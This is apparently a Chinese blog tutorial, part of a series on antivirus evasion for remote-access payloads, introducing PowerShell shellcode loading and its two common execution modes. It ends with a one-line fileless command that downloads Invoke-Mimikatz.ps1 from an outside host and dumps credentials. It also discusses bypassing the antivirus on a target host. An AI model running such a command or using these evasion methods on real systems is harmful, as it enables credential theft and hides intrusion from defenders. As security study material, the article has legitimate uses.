远控免杀从入门到实践(6)-代码篇-Powershell
郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！
《远控免杀从入门到实践》系列文章目录：
1、远控免杀从入门到实践 (1)基础篇
2、远控免杀从入门到实践 (2)工具总结篇
3、远控免杀从入门到实践 (3)代码篇-C/C++
4、远控免杀从入门到实践 (4)代码篇-C#
5、远控免杀从入门到实践 (5)代码篇-Python
6、远控免杀从入门到实践 (6)代码篇-Powershell
7、远控免杀从入门到实践 (7)代码篇-Golang+Ruby
8、远控免杀从入门到实践 (8)白名单总结篇
9、远控免杀从入门到实践 (9)深入免杀 (暂定)
10、远控免杀从入门到实践 (10)自研工具篇 (暂定)
免杀能力一览表
几点说明：
1、上表中标识 √ 说明相应杀毒软件未检测出病毒，也就是代表了Bypass。
2、为了更好的对比效果，大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒，所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01)，火绒版本5.0.34.16(2020.01.01)，360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com（简称VT）上在线查杀，所以可能只是代表了静态查杀能力，数据仅供参考，不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软，这样的技术肯定是有的，只是没被公开，一旦公开第二天就能被杀了，其实我们只要能bypass目标主机上的杀软就足够了。
powershell加载shellcode介绍
UNIX系统一直有着功能强大的壳程序（shell），Windows PowerShell的诞生就是要提供功能相当于UNIX系统的命令行壳程序（例如：sh、bash或csh），同时也内置脚本语言以及辅助脚本程序的工具，使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。
powershell具有在硬盘中易绕过，内存中难查杀的特点。一般在后渗透中，攻击者可以在计算机上执行代码时，会下载powershell脚本来执行，ps1脚本文件无需写入到硬盘中，直接可以在内存中执行。
常见的powershell攻击工具有powersploit、nishang、empire、powercat，都提供了非常牛掰的攻击脚本，也正因为powershell的强大，现在被杀软都盯的非常紧了。我们这里只是介绍powershell加载shellcode的几种简单方式，是powershell众多功能中的很小的一个方面。
Powershell加载shellcode方法比较灵活，shellcode一般都不会被查杀，而如何对Powershell脚本进行静态和行为免杀，就成了免杀的一个关键了。
之前的文章提到很多工具都可以生成免杀的powershell脚本，比如veil、Venom、SpookFlare、Unicorn等，感兴趣的可以去研究一下他们的原理。
powershell的几个基础知识
2.1 powershell版本问题
powershell只能针对win7之后的系统，之前的win操作系统默认没有安装powershell。不同架构的payload（x86或x64）需要不同版本的powershell来加载，否则会出错。
64位所在目录：C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe
32位所在目录：C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe
2.2 常见执行方式
先介绍一下powershell的两种常见执行方式：
1、网络环境直接执行代码
无文件写入，相对较为隐蔽。下面代码为加载远程脚本Invoke-Mimikatz.ps1，执行Mimikatz的DumpCreds功能。
powershell "IEX (New-Object Net.WebClient).DownloadString(‘http://10.211.55.2/Invoke-Mimikatz.ps1’);Invoke-Mimikatz -DumpCreds"